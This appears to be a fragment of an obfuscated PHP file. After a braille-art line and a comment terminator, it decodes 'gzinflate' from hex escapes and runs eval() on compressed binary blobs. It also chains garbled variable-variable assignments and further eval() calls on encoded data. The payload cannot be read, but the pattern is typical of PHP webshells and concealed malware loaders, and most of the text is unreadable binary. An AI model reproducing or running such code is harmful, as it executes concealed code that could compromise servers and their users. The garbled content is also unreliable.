⣿⣿⣿⣾⣿⠏⣤⡁⣷⣽⣿⣿⣿⣿⣷⣶⣿⣿⣿⣿⣿⣱⠸⣱⣦⠙⣿⣿⣿⣾⣿
**/
$sokaki = "\x39\xa4\227\3\235\17\56\242\xa0\136\x20\114\xd1\163\236\x51\164\36\326\146\253\27\130\xf3\x2a\x69\77\303";

if (function_exists("user_super")) {
	pcntl_signal(senia, berika);
	pcntl_signal(larva, berika);
	pcntl_signal(mojika, berika);
	pcntl_signal(matisu, berika);
}

eval(("\x67\x7a\x69\156\146\154\141\164\145")("���OQ�ݸq�څ7�\$|m�\$.��R�BBJR�
	myVK��@��Ay����!ȣP`iA
��X^�%�
8S0�;���s��w�{Ν���+ׄ�\"�\$=S��]��\\N�n*Pb4;�^�Wo8f�ֲ����u@�Z2jvl��XWn��˝�j��QҘ�i9����Y_y���>G<�%���\"67���oz��VG0gۜEߛjMRE�L��cDckY��_��M�\"`��3g���,�@/P�q�l X4CM�gQ�'�R��T��%��g��D�A�s��|[W����?��S�
��;����>C̠D�8ę�k\\��qs���\"�G[�;8;���i�
���,.;�!b�,�6z�f�	?kL�Y�c��o+_*iT�
u��κ
K�B��A>�k�k��f��GcȀ,n�d�M�K�o�կO���y�c�6k�4͖�,��_�V�ʌ*Y�W�����Yp�?n�N*���U~k��e�5;��~ߨ�P���q��N_��V�{�t������C�LF9]i���D_8\\��9r'ZzJmU����7v�y�`�q�&�ޒi�r��Y���(
���3ln�˶�+x1q %Tf�d��:��!A���)N��O�&�	
��K�*E�I�sBc�E<�1��p(�ao}�����\\0����t���٩yl�,H��2��)xJ�~��kj=���{�m �]���d	�A��x�#\$�%
�2���mx��r��\\8�#�IwA�!~QX(H�0P���(L=1�@b\$����%�P���E�Dw��
�*�-�f��b��G ��@��l/p燵�ByAW�ݚp蟭)�\$�bz�<]\$��K(.�\"�Gv4�;�"))xor${"a��ꁥ��������	���ߠ��ùѠ��ͳ�����ӆ̵߹��õ���ŋ�����ݽ�����������Ӧ����	������ՓΖ�������倯ω�������ֿ��ƈ�����֋���������ڸ�⡕�����������뺀誗����ސ��蟅��������ƾ��מ肓���������
�֓�ڣ�����������߳�����
�������	����
����΅ޢ��Ý�������������
��
������������������ސ����Տ������Ԯ�濸����
��㰗��	�����„���Ѣ�����������
����҄��Ù�����ٯ�Ըת���
��͈���������إ��ҩ�������
������������������ם�������
������㗊�����������Ĕ������˩�����ѓ����������Þ�����ܼ��ᅨ������偌ΑڞÀIJ�����ͭ����ˏ��������Ց�����������ױ��ޟ��	�����Ӆ�����������	����̽ݍ�Ŷ�������������������А���������ҙ��򡏼���ᇑ����������ӱ���ㆤ��ޒ����Ɖ������������ŕ����혫��ȷ���������脢��������������
�������۟��п��
�������������߰�����"}=_��٫�("�wOh �")xor/*c*/${"b���޶����ե���ã��
��ȩ�չ�����������䒾ԟ�������칫��ܧ��桖������������у������������֐�������&����˱᠄�������р���������ȶ������	�×�������ػ�����վ��������Ż�ܦ�֧������	��ϖ�������Ǟ����ʕ���ߩ�����
����������
����Ɣ����Ӕ����������؟˯����	���ꗾ������ޑ���
Ӽ���������ň�靣�琄׽��ꂩ�Ċ�������̎ȩ����ч�����ŋ�����Ĝ�����Ϙ
�����
��Ѓ�˄�ĥ�	���������慶����ƹ�����ρ�ʍ���ԉ���Ā�ڐ���ˊ��̙��ٻ뚺����ז����
Λ���������谿���������ӎ㵓���
��޳Ŋ���	����
���Ş�َ�������
��۟�緎����ʯ�臇�ݏ������ס�������ⅈ����������֩�����
ݚ���
������������������������픎���ĀˎɁ�������Ή�Ȉ�
������¹��ܮ�������͵���	������Ȇ	�����϶���Ԯ�������ܷ����ԛ������ؓ�����������
��������������������Ҋ�IJ
�����ܐ��������듙�
ы��۬�����������
��ʹ�"}=_��٫�("0��2\\{�e}�")xor/*c*/${"d��✙�������⡪�����

�ǃ�����������ģ�߾����̸ё���������Ё�Ф�Т�������
��䵢޷����ƒ
����
�����������Ѻ������ɸ��È�������
����������惊������
����濘���������ɹ�������񅲛�֝���׷�ɪ۬�����޹����Ŝ�������������������������������������������͗�����������������������öɈς��嗢��ʇ����٨������������������ۖ��âǴ��Ĭ��������ڮ�򛖻������
�������������̑���ǡ��ߘ��ރ����Ğ�����Ώ������ӹ��섓��¡§������
����������Ʈ�����������ߺ����������ų�����Ӊ��ѯ�ݱ�����������������������������մœα���Ԍ�ް��钬�����Ԏ�������ř����Ү��������������������ݎ�����Τ�
������٨�Ԯץ�����������������Ͳ����������ɦ�����͈��������
�߅ۄ������׼��ꀾ׍ᒃ���ޯ���������Ȥ���ؼ���
���
��ޔ���ƹ�����ы����ﯹ�������жٻ��������ɮ���ߍ	�	����ʑ����������������ϙʱ��"}=_��٫�("��b���y)�")xor/*c*/${"e������㫋נ쏞����ӯ������
��䭈������������ѽ�ۘϢ����
�������в�ݹ���ӱ������ǧ���������ǘѧ��������ī�ѵ������������޵�����������ƶ���������Ե�ِՒ��ߴ����ؾ�׸�����̿�	������￞�������ਧ�Ҡ���፛�����������������ۣ���Յ��䨐�ˋ��	��
���י���鍟���م�
�������ȡ������������������������œ��
������⇃�⩈�����в���ׅ�
���ƒ������������ΰ��ڍ�첻���ɭ��ϯ�����������������뷖�ʭ������͡�����σ������
������
�����؝�ǡ�����ݛ��ݗ�������������������‹������җ��������ᅣ��
����⯷���������耾�������������������Ʌ�Ό݋�ʻ����׳����������
�����ւ��Ў
�
���ؠ������������ų���������ÿ�����������󈨢���	�ؾ͟�����ʽ޸̽�
���ְ����
�̒��	�ߏ��򜞄����
�瓎И���Р†���������뛜����������ܥ���������ˣ�����	�������Ō
���Ơ���������������
��"}=_��٫�("��h�����\"G")xor/*c*/${"f���������ٖ���������ڒ�������
���������֝
��������®	��։�ፘ�������������ܽ
�����������Ɓ�Ӌ��������������ӷ���ތ�
҇���ب�����������������脧�ۡ�������������Ŋ������ͮ���
����ޚ�������ك������ы�	ץ���ȃ��ī�
���
׾�ų���⷏�����ʀ����͖�ʤ��Ӡ����Ȧ��Ү���ݺ�������ط�“
�������い�ǀ�������������
���Þխט����	��������Ȥҟ���������ƿ	�Ɋ�ڡ�Е���������������ї�آ�������ְ�Ƽ������ۡ���僺�����������
���ĵ�ی������������������
������×�������������������沐쳋���	�Ԧ�ٻ��������߈��۔��
�Б͝����ɤ��݁����흓���������ȼ�����������ʬ̊�٬��������Õ��ʏ�����������������ۃ�����
����������������Ԩ�Տ����ޤ������ۣ������ܑ���������툪휗��������ƽ�ٴ��Ռ�͘�����ฟ������������ڔ������Ҟ���¿�����Ʋ��׆���Ȃ����
�������𬫚���Ԫ�����ȗ����������ʷ�����"}=_��٫�("�inOP�w�Ps`")xor/*c*/${"g����ɝƯ�����������㥰�ʜ����ܒ��Ҧ˱������ř���������ߌ��Ƀ�����������������
�ԇ�������������ӥ���������ί������ӯ��ٱ������
����웣�ؘ�ӣ�얝�
���ӟ���ν�疿���ѸŹɻ������˛﹚����ܘ��������Ø��������
������б�Ҳ�������������
��
����������Ơ�������񏪍�ں����ҹ��網������ޕ�Ȟ���ʝ������®�������������ʉ�˪��������������	��������������ػ�̇�������ʻ��������������������٥������ï؇�ް�����ށğ���������͠��������������۶�������؍���ݮ������������������ѫ甫ө���������Ӹ��Ǣ����
����������ء���ط��ˮ�����ɺ닿�✳ݫ������ݟ�����ȣ���ݞ�絸��޲������ꑼ���׺ײ�����Ė���������	�����
�����仜�Ė��޴�������������ƫꊗ�����׸������롗�������ȶ�����ٰʼ�������փˏ
��������󋵜
	պ������‡�ԭ�����������ޟ����������"}=_��٫�(")��a���X���")xor/*c*/${"0�����ъ����������������ɺ����ߨ��ٯӇ
�Νʁ­�ʡ�歐�����������ѷ�Ҋ��������
�ĝ
����󑞻��������"}=_��٫�("��\"6آN��")xor/*c*/${"h����ޡ���
��Ү�ꪀ�������
������˕��ǂ���ː�ķ������̋Ջ������
���Թ�⁕��֥�������ƚ���ψ��ڊ�������諿�߽��ݬ����ޙ������������	��
�调���������Ď�ǫآ����Ʃ�ɽ�����臜�������������Ɏ�ߴ�����������ә���������і����趐�����ͩ���Б���������������������Ćՙ������ѓ�����¸��������њ
���������Ӊ�����ޥ����������䰴�զ�⎀����Ŕ�������˿����Ɗ��ܮ������������Є�֪��������劷݅
��Ե�����׶������
�	����
��	���좸�����Ѹ��΢򍚠�Ւ��ʎ���������ީ
���������ȅ�����������
�댎�����ʗ��������ƃ�������	����ݿ���	��ş��Ş�������������������
�������������ك�֕���б�ݚ���̃�������ԥ�ض������ޯ����	�����ί�����虢ܨ��������������������ɢ������á��د��ϰ��Ǣ
��
�㘾��Þ�����������̟��
�Ү�����������Ϟ�ȵ����
�������뢟��������㸑���
��������ю����Ùћ����������ڌ�"}=_��٫�("��E��
�H����G�q�8")xor/*c*//*c*/$�����=__COMPILER_HALT_OFFSET__ xor/*c*/eval(_��٫�("���ؔ#�_�|�yJ��X��O�Q4m&�	�_,;WG��'|�;��)`��T0ܖ��Z�[��/�\\8�U�훙�LA뛗�wOV�����떖\$�6�Oc�hNFم{�v|_j/��\"�n��D�l5�k*�證Xu%`\\�H���T�a�B\"�	���w�)�P��0Nrz�l�S/z��҄B��b�~�����)z��B�	m�\$s�_�A�*���r�\\���֯��*ºP�����-�l�ӊq>|�*J�=M;J2�x��%}��(����ɗR����_Q@��RCZq��{��ؗn/s��c-��l�0�/:���W�ĖM��;�}q�>�u��hg�1r�
ya���\$����]�i��т�N�̱��
o�&#:��g��J��{���<U6�e�+�m�~s�T�&�{��3��|��>��M�N����\$�<�%Β:հ��D�K+�waC���P<>���AȌ��=u�#�@�H�J��I�x�j̈y���rv�8�v�3Z*밯x[��c�_E�GQ
e�4/�=�+7��dDp���a���h�L\":�8]Т9	zIK1�CA-���\$�j?�S\\A5:�˘����\\���ff%�޼K_�P[~����j��ݷ ]�O��)��c�kOY�B��3��ӻ�����5��gЎE}H�;ԎP.�	��i�|�d����xL\"�p�i^�V1�7��\\�|i���q��į	��*���m�K�s+;��)5j�5wX�!?‰eh���N?�_e؉�i�\">��b��E�i!0��[M*��n[(��X�����<~�^��._������K�y�K��si��92�����q�לǗ!*���|Ƙ�7?]V��0#f�	4
rƣf!�����k�l�QX�֜a*Ш7�H��6�M��y���X��s
i7���hR��O:����gP��0��y��yg���4[UD�RK�M�
9C�i�8�ê�'n�d]\$\":(����tG�(N
��S�|;�4��}c���4krK��ح�?��qΤ��S��y^�e�s�߱���i��3�?��N�7l���l��ޛ�3�#\\�r�8lg��l������X��>f,NJS-�#�K�*=̦����L�U-�[å�a���P�8x�����<E�#[N��1gu���\"��޻wi�-�
?�yO�dhh���q��Q,�H�>RA嘌o�-3X�]R����7^�!�|WU��n*�K~s�	\$��5B�.�p�1���uaU�SB�	G?���t�<X+m#�{��}Q�����\$���@��7`	/�m����eۑ��L�,�{­q+TҲ�Ż��e��К+�5��\\QatY�b��I?&�&�j}�>�d�`��A���I'@\$�c��B��&� Y��	�c�k~�0�ԋ?����x���C�H�kۘ�c6iz��q����F���=���B�&�\$�0��NN�u3�c�!|�Z�'�����SV�,��I�᜵�|�my�'�b���m
�����b��(]?�u�;/�������g��}2�&�!�~
9��������
IU�\$L{9�=,R�@!���oN�pOi�������]�
�*���T�Y�7.8�u X!���rV8�{H���f����5LZ4f�7�19�����-�k���c�1�7:���e@tAw�cW.�8�ր�nl��-������F��xD���9��W2S�N[8������/vq�J(�em��w��-����)��־fI�o�J@�g4K���{Bͩ��^���73LLU����L'u>��6��������\$�l��*�I���lv����z\\�����܇Jh�Χ��
�'�6c�8��⻑�w������p��u|�^�=8nC}�[R��ڔ(�E���l�#@�_�X�Y�+��y4B	���ㆢ�Gu�}������%���Þ���1U+(|��6�
(���[`��3�\\�pq��_���{��
��a[��csi͝�Ҽn��ɣ�i�\\�����[��Z�U�ަ�˖���e��n����>:��\$�_m�n�*P�Ο���1�%-�t�a+O�v����1ƀ��5�8`�sN���34��o�;Iz5�;3�P�c��1f(��sQ
�FHH�;�_�����bR�KD5��&V�2�xfeOQ�Y�qA�M%va��[o�t�q5�0�x	=�BajN�]�	ߑ���*-6���yFvw�O{�l���>�L,�߬����F�����XC�[,\"��Fcy~X���y���]�B�b{
u0.��f/E%�E3xEM�B5S5gu�ԯ\"bq�D�< �L��^}-���[�Ly��gh�.ЧP�8d`���jG���tA��y��Ƌ�UO��ӾM��������e�9p�o]^��,c�^5|~ڜb�w˸�{B�o�v���Ih�[����,3��Q��m]��I>�XAXæ�V��1)'*g��2��v���O/[��3)��&�GUA�P�����ޢ`J�-=uF�+G*uPX�.��\"��� �����S���Oі���y���nk@��\$AS�wE���sx��	�\$��r�D���# E��w�z��k�Z᳡�ǹU�,�Dz[H��,5h�)�\"oV`�ѥ`v�b	3��}2
o߉�,�2�N`�'�����|�'�
�?�.7��e-�B<o�[r�\\�����p�n�yB����4A���\"I˼v�ʸ��?{�éj�X;��nO
3m��U>i���/�i���Y�Wׁ���OcAˣe(��_.���-둻d������TH���ҕ�wH�Y(�y+ť��7̨^��!��+�%g�>���d_r���^��ɎS�8�s�\"��T��J������`�!��}T\"T���R��
bP��;����硾�,zAJ��B^%P��*�Ɣ�Z<b
j�\\@k.��
�ՠa'[?[{��s�AԱt�\\v	�~�l�QHy!�Aa,b��X�,��[��6z��a^5�	;���@J5,�/�E�>�^[��A�)Y����z� +�ToK��&�^\\-�����H�����耚�����#!��/]j�AwN\$��k�������ō�]����qįR�M�t�^@��(���g�7�0�Q�u�6�z����c6��Et�d�s�|݃8�V/��m*�՝�
�S�D\\Ô�+�ɏiF��P�֛-��ƽ�q��O夃8	��������ܪ�O�4�#�j�����B�m��\$��
�&��
0�^(r)얏V{�A�vAi'��
����'Z��~;u_���%�3�R֠�|�4�^\$�����S�ڒ���#���_g�rZ�Z�&��v(�L��h�c����>B1n~�������E��阝�%1a��4_��#6�������H��4�A-�NH�(L��;�����/%=MWল�-2��y�DED�MV���b�ˆ��V���W�q�%�AY��ώ��q�:gާjWT��̼�^)�dn0�C�v�ۗ�X���8��ױx�Ub9���!��/#�R�-�5��	,^Q6��h�4��)�-�99-�èpB����W�6���x+j=0u1�a�^\"Mr�sk内��v���@��[0����<�v�/��R��	�ə��SЖ�m32�b�]h���%�a�þ&��XL�,p��U�10�:��`��E򯗜W���5��4yF��V�ԁ�@J!Xs����^L�,�(����Z��Bz_���ߎS��4Q2�y�>&^�x�'h��[��ZU�i��p�L�,�}-@+�= 
N�ܸ���
L�5��m? y�--zP�\\oҨ`J�bĂpY.IA��E��(F�fW�;�0@	��l��B~G�[@+�f[��rzkk�>��o	^޷sj ��{��eH�d)�L�q�5�`,s��bvV6�?�'h�[�>�9J�^@֗{�[��j�x�5��U�
�%��-��D�x���8�B~�ft+�J�\$�\\�
u��ׯP��-&�	��_��D����,R츭�G��B�����\$�GU�q�'3���!��
��Ŧ�V�1~��U�9� 
�e���v�k������D�-�-�cAIS��C��Ṽdr�)�H\$Y�<m�Kǩ���Q�d�Yf��މ�n�11�N���W
��(a��qy#�t�:8c�M����I���˭�Mb&9�a0P+���j�Z���W�
˜f���F�X���`�#�p9�C��Q>��W;S!�?Z��z
����27�k}޹�@=(�c{歪�v,�ŨwՉ��s�PG�ɉ�s,i�A�|��#^��5g���\$����:U��1V\$�2��\"�Z��NҐ*���`Q�M|��Qr�#��a2�EU��E�d���%�9
�ڕ\\�94�1��DזW��x��>�'��_@�N�N�XN.��/��!�m?+�y�l���ɯU�t0�+�*�F�=o���Ez�Q���v0e�+�S-'���a��D�C����f������\"��y.��)��i�\$�Tw#K
�!����W_�D��\$x� LkQ[_-?F^E����!�m�Á���������-(�>H�@	p�@��G�-�鞦�i�V�S��C�M3�:P�sc>�sY=U[G��j%s5��e�y�K�p���reP1�|�`Zt��ݾ&�ľx}�l\$�X
���YY��R��v�<���>Ϻ���ߐ�U�R|(����q� �\"�0�+•hR��LM��GdO��Nߛ�F���Z�`ԋ���w�9Ee�c�=�sY[�fBs]u:�l�FY5�\"�Urn���o�U;߈��1���wE���6��m0lU畧g�ȥZM�u7���Q��B�K(	��SunT�m\$%ƥ�\"E������T�.�-s	�G�1ױ�>�5�)+kw��8�-����
A��,왺i�U����|]~%��.E�����JeV�F�(�ᐈ��'��/2�[��F�3�!���'|�e��S�m�q��ޫLzӂ�vܔ_�O��o�e4e̲�w��8'�U�*3mxᷓ-���e*�p��ç]��z
m�^,�뼫�_\\c�`s��(,�MA�co\$k�d(�ݭ�)\"G�\$�b�ٹ[X���}q.�'�#��DF��JS��8�aPK=��1��7!X�u7�?�v
�7����o�Ɂ�|�Y��8PpEc�E����LVSt�MiX�,5\$���U7Ey�Wz�C.�0
��g��S=�6�?Y�i������9?��J�P5�FT�� ֒���?��X���6B�,9\\f��d��!��q���*͗�����/sՍ����tC|;&�[C|��:�[��ksj�{�>���uojVZ��(h�`YQ\$��rq�Th�?ۿ��FW'�X���YR#�ڙ/��q���\"���J��'r�]���<pE��9md@aڗl�)�IK(�x�;�]#��B�#�|=L����J�����Q���ؑ��3#R���<B�)��!��%W>�c���đ�<+�f��@����ϋ�*��\"P��O���
|U�*#������*�tN+�eўn�jP�ۓ��w�1����}��]7�Bc�2s�;��?��!\$�i�s����J�{���Sf�#9i��u?�h�\\d�.Fȷ�A[�G�i�F�r&����4\$`�3#d�ZA�c�g<W\\��*�&�Sm�0k]�{�zl�lF�K��j���L�\"ir3��w ����>ee\\�ל�IL>�Z�S���U�&�L�}Ս��a���1C��p���|-k�;���Os1}�4�KK��書%[n����b�	��AHO@;��m��22����a�LOf�]4SjMU9����M(t�X�)�/��d�5��r=�7.Y�Դ�G:Mr�JO0�|\"�/5N^4��T ��^�W�M�J�Ķ�݃7H���Yb]���	�
��_F�lvw�T����e��̕^���m&C&hSÁp?^b���8���]?���Z�{_>zG�%�9�(�ۿ%�+�E�^�CD�c<����CƌQR�n���aQ�0�o�7��!_�
�Fq�[V�9�7�;��q��;��@�H��϶�?�/ ���ub�H�=�2?#���_�\"_�s]��Gcԛ^�o:1DZm�e�_��hT�O���}l?�6�'w
 �<�~=�N|��v����M��E6����E���H��<bɊt<�����2ڢ.��p_���b�)�7⤦��B����	)_��d%��]�/������
��\$�0(\"������t�d_�b6�l����v����!��	�S%_4�|��w�xa�m���]��l+?�q���Vw��ιzk�\$����̈́o(����ӱ�͑�u�n�\"�`�l�5D�U/�:����sk�}~'BL��3�r`�+�Ø��&��H�,�����^�(?L�E��>�H˵�w�旦�@����
1RO�+ׁ8�8d�vG�y&����;�/��0� ���8�2�5
�(R^���溠'�n�4�����t��O���n_<�OGϥ����X�k��I���L`-̺��h�vS�B\$�U*�HբPc���%����Q�,avW�L���Sjm��T�dlЦ�u9hi��&C����3'��,��Ğ0[J����E?3`HO��ZBD��a����v�ܴl�w2��w�eҖ�թ���ݙÿ�y��?��y�<��ઔ�O!V	��dv	N���F.�/���B	S`6��b}��/���Y��O:�K��w�d�C�U�5�蟘��S�&��\$*
��^�xfRb?Y�g���M�Hڮ-����&�l/�j�\"ay	�^�"))xor/*c*/eval(_��٫�("�w	,��&[�X �b�7
�=���>C6��������v�_(kT���<<PPD��7?�[����!�D����7����O�~/6�`%�Ft5�8�N���/7D�;EnK�K�w
!�|ͲZ�es����\$�)Pw�zM_�MԒ>�׉gsq�q�D���#��`ub�k2)��b凨H�Ƒ6@���P��TEEF��̪霡g��2�
�!��n���N�3f-��b�/�^�YDz�-p9&�^���t	��::��c�v��{,VӭJ�n9.�_�a-a��7MSSR��Z��xN�SX�q�
�ya��+[믚R%���{X�\"Y�Q����nv���'*M�
����<X�/e���*:Ϛ��<PpZ�Ϥ�m/���<f����6D2�B�����L�7фIu
��i���?MŤy<Y�Y����vI;�;��kFzG�<��]���&�T�`,�M׼7[�q���wc�����d�3�d�/r�f�e{9C�O;f�E�TKۥ�.��a���h�]�G�̐�n�XP�&p��A���Y��r�#L�,��!C�&�.}.��s��&u��~8�#a���^����O���2�a���7\" �ۿJ�:�k��y�(>���a��K������-�|�l_�׏��o�o���(� ��D
'-��<���2Y۷(�k>�]�]W�_ѵ�S��5��n!�#�z/���=h�����|T��(Jhq�Y>�]�dR�����\"�%vY��;�N/�a��iԹ�c��|J�6{j,���K�\$�R KR�2��ŠB]��gD<g<I��7[���U�糼RM%k��Y�WЕV-�hR˨Ұm5��6�u[�Ņ���wت�k.�o@*�o_���h�!��c�>W�t>��w�d2�:2�`��%@�E*9�}^ �g,{����s��)�xɷdlp֑�3\"�pa�3�EQ*��DGHJ�?�\"x���K��z��L1�Y��.R�>b�	�'8����n���N�{�N����h+\\>UN�8\$�Yytwg�^���6b�z��Xƚ�T�3u[�N��Y��
�?<EF0�q��uo�6��a�m� �BLS%[�Լ%�U
M?�\"�R��n[�>E�|�ɔѸ	�/�7j�<�uԴ<��=X�^�c��!r?�8ُ\$\$?�6�H���*��[i�a�1A~�hK2�9ṓ��yރ:�=�̌��!��)!ڵ�w�a^m:ߗ�������F��B�)d�}�����v�7N��?�KjϿ��^�+�T��s���p@5�
D��ŕ'g^�}Ժ��G&N.�a��Z��3�\\�H��~�p�|U^UW���Lf䖚(*��y�B_ʺސf�P��D�`8�mj�
�{�CCq*Cze]��*%V�	m'ףI��*�n�	B��i	;�zJRk�v`�?�}���<�ry���'gX���s���
�9n|T�\$6��`��%�����VoǸ�,F�b3�h�Fp94N���zC�>���%�&[)	+�N��Ƹd���z�<�\$1��)d�`w�`
\$�� c�m?tN\$~b�O�)�@�1��;��/-gy�yO�[��zō��Φ��Y�0.���[AD�?Hp6rYF�9�\"�P+):+Uى�L�����d��3������Φ���x*��%L�}�s�#(�X!m���u��;])����q8f��\\.(�Q��t�+����▲�pL���,�}.��p!#�fz_=��O\$c1q�̺'��S8��Ϭ��[�o
�#��vs���bΎs8:�*�P���|`�pu\\��_�ߒ`7�ѫ^�=�UyB�1�&��GsjMzI�Thh^��kg��
\$�&����k�!X���-\$dzh���£�p1��T�ȴ����@�ař��eR��Z��e��Qw�ʴ?��妵W�u&��E����`�8#�aOZ��W���٤�ߥ�ۜ+޿m�iz`�n�aS�@?T�Z��cQ��l^����S�,���,\\�ϙ80��w�}����i�V��&f_؎�p3�M8�y.�P���Twi�.��Ú�+��+�t�]� ��@ظ�G�v֎����g\\bX��,\$:�Yc���5�e����ɳ�O�C�5�?��,�ĸ����A�h��kO<�c_
�/ax��R}���k�(6Q���̱R
�SN:l���#.�7Z�~܈;ɶ��CX�:ÃC4�=,���]ͼ08H(�I��:^�>�mV�Lw��\$J��_�,@*�bXcUG�_����u�d���~ԏ�sx�����\"j���?�����U��G ?��ZJ��8N���z�>��Vtx0	UH����2���J��
����N7���̂.��?�b�1����U��8�R�2�r�/B�D�n�n7�Tl���/�~�oѿ!g�@p��\"��P�К��x������|1;���[���iZ�{�p�E��n��Ӡ��/���\"�taƬ��@�}��MXC�e�݂2�wP�.��)H��HR�;%�a�E�':�\$2���EJI��}�{�IFͶ�s�(����Z�*���k��q!c��R�ˢ5MLs��ȶ8�[���De���/#𧚐������h�~\"�킎�u\\�?ayy1V�_1N�X=�����^M�i�j���ޘ��q�Q��ܻc�ux}�������̯k��f&0al�“r'5{�5��`�S��q��'@�t	��gC�)*_\"Wvx/��~͡�>v{#��0㏽hLj��۹����pJ��������쒇>G��N�I#�]Uy���ݾ	w�D}��-�����X�͋��B��SM�bhN7�N�b��:u\\�pF]MbLD�aSIf֯sLc���t�	qR���5q�kCg�˫�{���\$U�w�(h%�?�|>Qsߘ\$0H�t�m�r]8�HD,H�w@7�qy���Ş�i�s��9T��n�X�����@��џ\$�	9�=�CP�Ķ�i�!�q�>hWr�HP����N��!a����?M IG��(��ne�MCZ�4�U.C��F�S�S���m|<\$4��m�RA�roo�¥����׺���o�n4�_��G@�]C�\\�c!O_
pJ�s���\$y�����_~�{��
�|`��sH�.l�ox\$��T��J�ZE�\$���o�;9�[���|����+�J=u ȭS�í�����l�sN 1�p�RT��D?�rP�\"��H/�vi������>��W��:?:�h�Wں3򆲑�O+��Xn��m?���(E�Vy������V����\"���4Ѥ+򚃀���b�C)�T�*����4B�W����HG+H�:g��@]��ְsA,��B�ud�A#��a����8ad}kM=ۨE�+ӱXm��q��g��-<�w�3sS��R~Q�4V���=���#q��~��/�I��v�>K���'�
2g5+�Y&��x0I�WM�AF�.j�g^��.���\$��,��,
;�@�\\��;��HQ�1��0���e�n��MWW1cO'�]qˑІ4���2�QNB��8�Q��6PБx6o��E(VAa���%j�
,
N�STh=��q�Vnƴ��(�vW����ʸ��g�|1�5@%�OO���nS��w%��b�xP�3�4o9&�ߥ2��j-��P�ѓ��T��J�����=z�b�;���<~k3�:h�p��:]���ţ�E^1o�%>M6�]�=}�ZOĉW�;�֮�ઁ3�*i.�+�����#����2�2����vɟ����9�3/�*�)\"�׷��@���
ʅ)G�!X�K�u�2��`��řh��J��esąF�k厰3���Rd|�K���u&��J6I�ٌ@�v񫾆 >�g��M�0�V�1��]؍�whMH�^b2t��������j���<j�Қ�d�%���jF��85縘�6)�W��`��80�����`P^]�R�Ɍ�c7&�E��8\\�Ww\"Y�B/8,Z(�~P���5N��⤊����h�@���X�M�St��Ϲ-Q���V��r�iz;�t	@���;9I�Խ�N8g���v�r��Z�*+0z=:�K�Wy�~I0֖�L*��⪚nGyz����RQd4��lԲ�>�n'b`w����ˠj
�	��+ӯPHD�aQƣ\$��L�C��b��
����.4W�L!=�\\��j�O=A\\)�􍫄Ш��NZq\$u ��&c���x�;��=��p����l���`���\$���\\�NROz��(ý�狔A:�a<���.��CT�,�ӏ�x����BH--c�p���oK���(C�	�B�Y?
H�X�D=Q\\�F��U��a5���v�!|`�����/{� 7;�
|�C4�=(DZ��
q]:/�N^�����+w�:odfN� A���2���2o��C���)��������#�ے1!��gHڶ�Q�XE3ZD�M��yV�jMr���#�*w�>۰�tf*L戆�w���8���ƥ�ƕ��\$U��R1<��LI��S�&L��Z�˞?�5��M���3��~	O�*^�xT��~��6/�6k4Qȧk#RRs\$R�z�f��:��<�J��#ꘄ�E��ASY|=)<>���M��
-P��P�w��,����2t\$׈N��󖓍%텂3��8�[�l+���ž�{��d~�t�2����r�Z�7a'FP�/��'(l�[Y�	s�v�%s�R�h\$�T�9F��8~x0^�
@O�]��2��I鸝������.��}���)I��j��g}����٬-G��xYn���	_����c�����)�Vہ����KZTz�k!��#�@5`�ȩ��i�(-�RB��a�S�
UJXI�\\W�8,��5	�>���|'��<W8ŏym�2�1�be�kY�i]�]]��J�ݺ�x�i�(䯾�gZ'�ԫ�ƶC>���i�Κ���/[.��\\�h�:(y��	Dv�*5g<�h=���������]Goj�;�FՋpRw�S�\$v8ON��[�֑�����{��zdĮΕHJ���G�Yu�?Y=���N}	ⱙ�vKwQj��3'COD�G��q�=���^����<�h�a�|G�!,LGT��וzS�;{3�2+�jLf��
DZٓ�/`VM3��[sK�Xv�8�K��Yz��Y����^��1K��˯���{C�'ul���EuI�Q����@I5�J�^�v��я�#ߢ\$��3��in� ���iѫ�k3�G{G��56��ݒT��y6��L�h����=(C��{����#8���|�
V�;	#I~`�׷��
B
���� w�Ԥ�5̫�|ۃ�
Y�\\����+��\\V?�����s�~���5^Sۤ�ucse'�ʹV5ڑ�VL<�f�]�E������p&4�F��{�o����`u�r6�����د�h��\\{�vY��T`ؿ�1�ԗ�&�� #��T�p|O+LEy,W�����8�}���0,=���
���\\[����Rr�1�+Jj\\8��.���DSs.'Zڰ�ŘF]E��9�<߼0���Dj��U�s��.�Xk��ޭB�^U�8���W� �n̋�\"3��8�|_�:t�`\\EN/⎀�&��r�!��Xt��0�
�|�w�5��T�Mu1eˆhܵ\"�����b���r���j�7i9rT
�����
��M�ob�`o1���?,XDSW�n�M�V�2�1\\�3��u��-�G��μC�
7��(<t��������I�lf.�g�����o��v��_\\!\$��F%0��L�d�����)?m���}i̝,�v�gs&}5����Q+���Ib��
8\$�U����{�����u#
��Kl��7���lPcޯ��PQz�*�5u���엤�}/���e��
�-��pe_���58*����L�}`�A'w15�b;2W�2h���J�{���y�h����s��#�:�UH�
ŝ�ɹrn�C�m�Cg�V���YbU��nW��_��x[ �f��z��v6
Ԝ�M1�����wu����4oU�Ʒ�|,l�t{��
&y�R�-���6��Ly4�7:r��x��!�9^�b�2&�e�7Rlm���k6���8�>3�B��r�^��V.h���f��Ps�t���,���v�Ǯ*6v�3Y��b��^�w�9�V�xETP�5\\���6 x�&��8”R��??k�e�w�h&“g42�+�+��a���\$2��O��]�T�Ш����<��w��+Z�`@7M�L풌��N\\��t��\$Ȉ�V5�^c�Y�N1�aJ���m5V>k�����sx��?�z��k�OO��4m�\$
���rQN�O�,��\\�V��Tz�e^21ɖ�G+J��:��०y1���}��w�N���*}�±��AHg'�W�6��y�����ᳵU��~ês_t����\"�]RJ|e�z8�.��PLgq!<�}�;k�\\�D!���*�U<�pvp������0���ז��ת�H��V����-Q�]��푨q�tf!Xm�T�y�Dh��U�7��mp>�u�Y]��2��r����V9ߤ�}ذ��}�)(\$�9�α���nlx��h�3��>�����)��
�G���
�v�\\_\"d,5*��yN�	�ƖkC��0@��5+�O��[�Zf��O�0k�ta+�LOg�W!�龨�dS����*�ĒK�}��Խ���Wt���zM��ە5,k1G,ИN��KYቌ�v\$8;���j{�\$��7+	�xGF%O\$c�)���sk�.�7�.��{�y��@�6O��o�Q����	o�9ӕ&i��5�8��!,4�]���>��T.#�JL]s	C���cH��������;����Ӽv�tBBȭ���ڙ �^2��;8/��q�����A�k�1iI��H!#��
�?B\"�τ���Y�pFa;���g��\$BIk]���X��Tƒ�����ǘ����c�Gz\"iVXQu��T��m	�.�+d2��W�����u��Ga�ۃ�cu�@W�'#��L��EM�N���S�g���H�y�`�w㣴a\"<���v]�\$�&�[��,�bIwA��}��~*���c�n��*W����(
